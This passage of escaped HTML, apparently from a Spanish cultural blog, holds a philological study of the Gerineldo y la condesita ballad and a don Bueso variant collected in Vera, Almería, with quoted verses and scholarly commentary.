style=\"font-size: small\">la joven se ha estremecido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Que la espada de mi padre con nosotros ha dormido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Se levant\u00f3 Gerineldo <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">marchito y descolorido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-\u00bfPor qu\u00e9 puerta saldr\u00e9 yo <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que no sea reconocido? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Por la puerta del jard\u00edn cogiendo rosas y lirios. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">El conde, que estaba all\u00ed, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">al punto <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">10 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ha sorprendido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-\u00bfDe d\u00f3nde vienes, Gerineldo? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-De coger rosas y lirios. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-No me enga\u00f1es, Gerineldo, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">con mi hija t\u00fa has dormido y antes que llegue la noche tienes que ser su marido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-No lo permitan los cielos ni la Virgen de la Estrella que mujer que yo gozara jam\u00e1s casarme [he] con ella. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">La historia que aqu\u00ed se narra se basa \u00aben los legendarios amores de Eginardo, secretario y camarero de Carlomagno, con Emma, la hija del emperador\u00bb (33). Este romance, carolingio, es el m\u00e1s difundido hoy d\u00eda y el m\u00e1s estudiado (34). En \u00e9l se confirma con rotundidad la afirmaci\u00f3n pidaliana de que el romance es una \u00abpoes\u00eda que vive en variantes\u00bb (35). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/eginardo-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-820\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/eginardo-1-253x300.jpg\" alt=\"eginardo 1\" width=\"253\" height=\"300\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/eginardo-1-253x300.jpg 253w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/eginardo-1.jpg 291w\" sizes=\"(max-width: 253px) 100vw, 253px\" \/><\/a><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Fue publicado en dos pliegos sueltos, de los que el m\u00e1s antiguo data de 1537, y el otro, que se ha perdido, es, seg\u00fan A. Dur\u00e1n, uno de los \u00abpliegos sueltos impresos en el siglo XVI\u00bb (36). Una diferencia fundamental distingue ambos textos: el de 1537 presenta una versi\u00f3n fragmentaria, acaba cuando los amantes se aperciben de la pre<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">s<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">encia de la espada; el otro texto se prolonga en la fuga de los amantes a Tartaria. Desde estas versiones a las que se imprimen en el siglo XX se extienden m\u00e1s de ochocientas. Como se\u00f1ala Men\u00e9ndez Pidal, \u00aben un n\u00famero muy notable de versiones, el romance tiene una \u00absegunda parte\u00bb constituida por el romance de <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>La Condesita. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Esta contaminaci\u00f3n ha arraigado extraordinariamente en Andaluc\u00eda <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[oo.]. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Indudablemente, el romance doble es de difusi\u00f3n m\u00e1s moderna que el romance aut\u00f3nomo. Aunque ya muy extendido en el tercer cuarto del siglo XIX, su difusi\u00f3n a costa del romance simple se ha acelerado durante el segundo cuarto del siglo XX. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[oo.] <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">La gran diferencia de estruc<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">t<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ura, en ciertas \u00e1reas de Espa\u00f1a entre las versiones de <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Gerineldo <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">aut\u00f3nomas y las contaminadas con <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>La Condesita <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">hace aconsejable considerar el romance doble como un nuevo romance\u00bb (37). Esta insistencia en la versi\u00f3n bipartita se justifica en cuanto que el texto recogido responde a esa distribuci\u00f3n, pese a la noticia del recolector: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00ab<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">aunque recitado como continuaci\u00f3n de Gerineldo, este romance es independiente y muy conocido en Vera, Turre, etc., en diversas versiones. Recogido de Pepa Soler y Francisca Ayora\u00bb (38). <\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">En los vol\u00famenes VI, VII y VIII del <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero tradicional <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(39) se encuentran recogidas todas las versiones impresas o in\u00e9ditas del Archivo Men\u00e9ndez Pidal; es en el \u00faltimo en el que se recogen las versiones de tema doble Gerineldo y la condesita. Dieciocho de las muestras registradas pertenecen a la provincia y ciudad de Almer\u00eda: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">1921, 5; 1922, 3; 1925,4; 1926, 1; 1928, 1; 1929, 1; 1931, 1; 1948, 1; 1975, 1. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Una peculiaridad acusada de esta versi\u00f3n recogida en Vera se encuentra en el mismo comienzo, ya que aparece truncado, sin los versos que constituyen la invoca<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">c<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">i\u00f3n del gal\u00e1n, pr\u00e1cticamente invariable, en el que se recuerda el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>status <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">del mismo, y el tiempo que la dama espera gozarlo: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Gerineldo, Gerineldo, mi camarero pulido, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">i <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">qui\u00e9n estuviera esta noche tres horas en tu albedr\u00edo! (40) <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Por<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">tanto, en la siguiente secuencia, en la que el paje muestra su desconfianza ante el requerimiento de la dama (41) se da noticia por primera vez de su condici\u00f3n de \u00abcriado\u00bb. La fase siguiente, confirmaci\u00f3n de la voluntad de la \u00abse\u00f1orita\u00bb, la com<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">onen dos versos que ofrecen casi una nula variabilidad entre las versiones almerienses: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-No me burlo, Gerineldo, que de veras te lo digo. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">La hora propuesta para el encuentro es otro lugar com\u00fan en esta serie romanc\u00edstica, sin embargo, es normal aqu\u00ed cierta fluctuaci\u00f3n. Mientras que el romance que nos ocupa sostiene \u00abentre las doce y la una\u00bb, otros precisan \u00abA las diez se acuesta el rey <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\"><i>II <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y a las doce est\u00e1 dormido\u00bb, o bien \u00aby a las once est\u00e1 dormido\u00bb, o \u00aba las once se acuesta el rey <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\"><i>II <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y a las doce est\u00e1 durmiendo\u00bb. Pero una hora distinta es a la que llega el gal\u00e1n: \u00abA las doce de la noche <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\"><i>II <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Gerineldo en el castillo\u00bb, \u00aby a la una de la noche <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\"><i>II <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">en mi cuarto se ha metido\u00bb, \u00aba eso de las once y media <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\"><i>II <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">para arriba se ha subido\u00bb (42). Lo importante es que la arribada se produzca \u00abadeshora de la noche\u00bb, como dice la doncella ante el posible esc\u00e1ndalo (43). Sigue la identificaci\u00f3n de Gerineldo, en dos versos de los que el segundo permanece sin cambios de una versi\u00f3n a otra: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que vengo a lo prometido <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">En mitad del romance se alcanza el cl\u00edmax con la interposici\u00f3n de la espada paterna. Como explica Men\u00e9ndez Pidal, \u00abel chocante detalle de la espada interpuesta en el lecho era un viejo s\u00edmbolo jur\u00eddico indicador del respeto a la virginidad; el rey del romance interpone su espada como expresi\u00f3n de un imposible deseo de proteger <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">la pureza de su hija, y, a la vez, como una acusaci\u00f3n y una amenaza\u00bb (44). Tras la interposici\u00f3n, narrada en una modalidad elocutiva indirecta, se produce el reconoci<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">m<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">iento de la misma por parte de la se\u00f1ora en un segmento discursivo que impele primero al amado para que se levante pasando inmediatamente, en otros dos versos, a indicar la presencia simb\u00f3lica de su padre: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Lev\u00e1ntate, Gerineldo, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">tres horas el sol salido, (45) que la espada de mi padre entre los dos ha dormido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Es despu\u00e9s de esta segunda parte cuando, en el romance de Vera, Gerineldo procede a levantarse, porque, contra <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">10 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">general, no hab\u00eda sido exhortado a ello en la alocuci\u00f3n previa de la amada: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Que la espada de mi padre con nosotros ha dormido. Se levant\u00f3 Gerineldo marchito y descolorido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/ernst35-the-reader.jpeg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-821\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/ernst35-the-reader-300x192.jpeg\" alt=\"ernst35-the-reader\" width=\"300\" height=\"192\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/ernst35-the-reader-300x192.jpeg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/ernst35-the-reader.jpeg 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Este \u00faltimo verso, de ocurrencia general, con alguna variante, en todas las versiones, no lo es, sin embargo, en la posici\u00f3n que aqu\u00ed posee. Con esos dos adjetivos invoca el padre de la doncella el estado an\u00edmico de Gerineldo cuando es sorprendido en el jard\u00edn: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-\u00bfD\u00f3nde vienes, Gerineldo, marchito y descolorido? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">A continuaci\u00f3n, la pregunta obligada ante el temor y la confusi\u00f3n del momento: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"> -\u00bfPor qu\u00e9 puerta saldr\u00e9 yo <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que no sea reconocido? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">y <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">la respuesta inmediata fundada en el enga\u00f1o que proporciona la mujer: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"> -Por la puerta del jard\u00edn <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">cogiendo rosas y lirios. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Estas flores conllevan un fuerte componente simb\u00f3lico, amor apasionado e in<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">oc<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">encia, que son un indicio de la escena er\u00f3tica que acaba de suceder. En otras versiones,. esto queda intensificado con un verso m\u00e1s en la respuesta del paje al conde: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">&#8211; Vengo por estos jardines <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">cogiendo rosas y lirios, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y la rosa m\u00e1s bonita <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">mi color se lo ha comido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Arial,serif\"><span style=\"font-size: medium\">o <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">tambi\u00e9n: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y una rosa muy brillante mi color se lo ha comido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">El padre, despu\u00e9s de increpar a Gerineldo, en nada convencido de sus razones, lo emplaza al matrimonio para ese mismo d\u00eda: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y antes que llegue la noche <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">antes de que el sol se ponga <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que antes de llegar la noche <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Frente a las versiones en las que el paje pone su vida a disposici\u00f3n del conde, en este romance de Vera se reproduce un desplante descarado del joven con invocaci\u00f3n a la Virgen de la Estrella (46). \u00c9stas son dos posibilidades que se excluyen la una a la otra. De cualquier modo, el joven criado es enviado a la guerra por el conde para hacer m\u00e9ritos y poder contraer nupcias con su hija. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Ha podido comprobarse, a lo largo de esta exposici\u00f3n, el car\u00e1cter narrativo (47) del romance de <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Gerineldo <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>y <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>la condesita <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">recogido en Vera, en cada una de sus secuen<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">c<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ias, organizando un todo l\u00f3gico y perfectamente hilado. Sin embargo, otras fases del proceso han sido obviadas en favor de variantes que vienen a enriquecer el bagaje romanc\u00edstico almeriense seg\u00fan consta en las dieciocho versiones del <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero tra<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>d<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>icional. <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">El lirismo de este romance puede acrecentarse cuando el sustrato \u00e9pico del mismo es mucho m\u00e1s reducido. Es el caso t\u00edpico del romance de don Bueso en sus distintas versiones. <strong>Tambi\u00e9n en la localidad de Vera ha sido recogido en la modalidad<\/strong> que ahora exponemos, si bien, para su explicaci\u00f3n, nos centraremos m\u00e1s en sus rela<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">c<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">iones con la l\u00edrica tradicional que con su filiaci\u00f3n romancesca. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">El d\u00eda de Pascua florida me mandaron a lavar <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">a la fuente de Sevilla.<\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"> -Ap\u00e1rtate, bella mora, ap\u00e1rtate, bella linda, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que va a beber mi caballo agua pura y cristalina. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00bf Te quieres venir, morita?, \u00bfte quieres venir a Ug\u00eda? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">&#8211; y <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">mi ropa, caballero, \u00bfd\u00f3nde la dejar\u00eda? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-La m\u00e1s limpia y la m\u00e1s nueva en mi caballito ir\u00eda <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y la ropita m\u00e1s vieja al agua abajo se ir\u00eda. Llegaron a un olivar, la morita se re\u00eda: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-\u00bfDe qu\u00e9 te r\u00edes, mora bella?, \u00bfde qu\u00e9 te r\u00edes, mora linda?, \u00bfes que te r\u00edes del caballo, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">o te r\u00edes de quien lo gu\u00eda? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Ni me r\u00edo del caballo, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ni me r\u00edo de quien lo gu\u00eda, me r\u00edo porque he llegado cerca de la tierra m\u00eda. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-\u00bfC\u00f3mo se llaman tus padres? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Mi padre es Juan Oliva <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y un hermanito que tengo se llama Jos\u00e9 Mar\u00eda. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-\u00c1breme la puerta, padre, balcones y celos\u00edas, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que a la que tanto lloraste la traigo a la vera m\u00eda. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">V\u00e1lgame Dios de los cielos y la Sagrada Mar\u00eda, pensaba traer mujer y traigo una hermana m\u00eda. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-\u00bfMe la traes deshonrada o me la traes honradita? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span 